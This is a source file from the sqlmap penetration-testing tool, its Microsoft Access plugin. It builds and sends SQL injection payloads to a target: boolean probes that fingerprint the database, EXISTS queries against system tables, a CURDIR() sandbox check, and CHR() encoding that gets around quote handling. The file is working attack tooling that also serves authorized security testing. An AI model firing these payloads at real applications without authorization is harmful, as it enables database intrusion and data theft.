sqlmap/plugins/dbms/access.py
Bernardo Damele 0d559d14df Initial support for SQLite (90% approx).
Initial support for Firebird (30% approx).
Initial support for Access (10% approx).
Shared libraries code/installation scripts ported to 64bit, directory structure adapted.
Minor code adjustments.
2010-03-18 17:20:54 +00:00

287 lines
9.8 KiB
Python

#!/usr/bin/env python
"""
$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import ACCESS_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class AccessMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Access methods
"""
def __init__(self):
self.excludeDbsList = ACCESS_SYSTEM_DBS
Enumeration.__init__(self, "Microsoft Access")
Filesystem.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(AccessMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "&"
expression = expression.replace(old, unescaped)
else:
unescaped = "".join("CHR(%d)&" % ord(c) for c in expression)
if unescaped[-1] == "&":
unescaped = unescaped[:-1]
expression = unescaped
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find(")")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.lstrip("CHR(").rstrip(")")
oldUpper = oldUpper.split("&")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped).replace("'&'", "")
return expression
def __sandBoxCheck(self):
# Reference: http://milw0rm.com/papers/198
retVal = None
table = None
if kb.dbmsVersion and len(kb.dbmsVersion) > 0:
if kb.dbmsVersion[0] in ("97", "2000"):
table = "MSysAccessObjects"
elif kb.dbmsVersion[0] in ("2002-2003", "2007"):
table = "MSysAccessStorage"
if table:
query = agent.prefixQuery(" AND EXISTS(SELECT CURDIR() FROM %s)" % table)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
retVal = "not sandboxed" if result else "sandboxed"
return retVal
def __sysTablesCheck(self):
infoMsg = "executing system table(s) existance fingerprint"
logger.info(infoMsg)
# Microsoft Access table reference updated on 01/2010
sysTables = {
"97": ("MSysModules2", "MSysAccessObjects"),
"2000" : ("!MSysModules2", "MSysAccessObjects"),
"2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
"2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs")
}
# MSysAccessXML is not a reliable system table because it doesn't always exist
# ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
for version, tables in sysTables.items():
exist = True
for table in tables:
negate = False
if table[0] == '!':
negate = True
table = table[1:]
randInt = randomInt()
query = agent.prefixQuery(" AND EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt))
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if negate:
result = not result
exist &= result
if not exist:
break
if exist:
return version
return None
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += "Microsoft Access"
return value
actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck())
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
if re.search("-log$", kb.data.banner):
banVer += ", logging enabled"
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if conf.dbms in ACCESS_ALIASES:
setDbms("Microsoft Access")
if not conf.extensiveFp:
return True
logMsg = "testing Microsoft Access"
logger.info(logMsg)
payload = agent.fullPayload(" AND VAL(CVAR(1))=1")
result = Request.queryPage(payload)
if result:
logMsg = "confirming Microsoft Access"
logger.info(logMsg)
payload = agent.fullPayload(" AND IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0")
result = Request.queryPage(payload)
if not result:
warnMsg = "the back-end DMBS is not Microsoft Access"
logger.warn(warnMsg)
return False
setDbms("Microsoft Access")
if not conf.extensiveFp:
return True
kb.dbmsVersion = [self.__sysTablesCheck()]
return True
else:
warnMsg = "the back-end DMBS is not Microsoft Access"
logger.warn(warnMsg)
return False
def getPasswordHashes(self):
warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes"
logger.warn(warnMsg)
return {}
def readFile(self, rFile):
errMsg = "on Microsoft Access it is not possible to read files"
raise sqlmapUnsupportedFeatureException, errMsg
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
errMsg = "on Microsoft Access it is not possible to write files"
raise sqlmapUnsupportedFeatureException, errMsg
def osCmd(self):
errMsg = "on Microsoft Access it is not possible to execute commands"
raise sqlmapUnsupportedFeatureException, errMsg
def osShell(self):
errMsg = "on Microsoft Access it is not possible to execute commands"
raise sqlmapUnsupportedFeatureException, errMsg
def osPwn(self):
errMsg = "on Microsoft Access it is not possible to establish an "
errMsg += "out-of-band connection"
raise sqlmapUnsupportedFeatureException, errMsg
def osSmb(self):
errMsg = "on Microsoft Access it is not possible to establish an "
errMsg += "out-of-band connection"
raise sqlmapUnsupportedFeatureException, errMsg
def getBanner(self):
errMsg = "on Microsoft Access it is not possible to get a banner"
raise sqlmapUnsupportedFeatureException, errMsg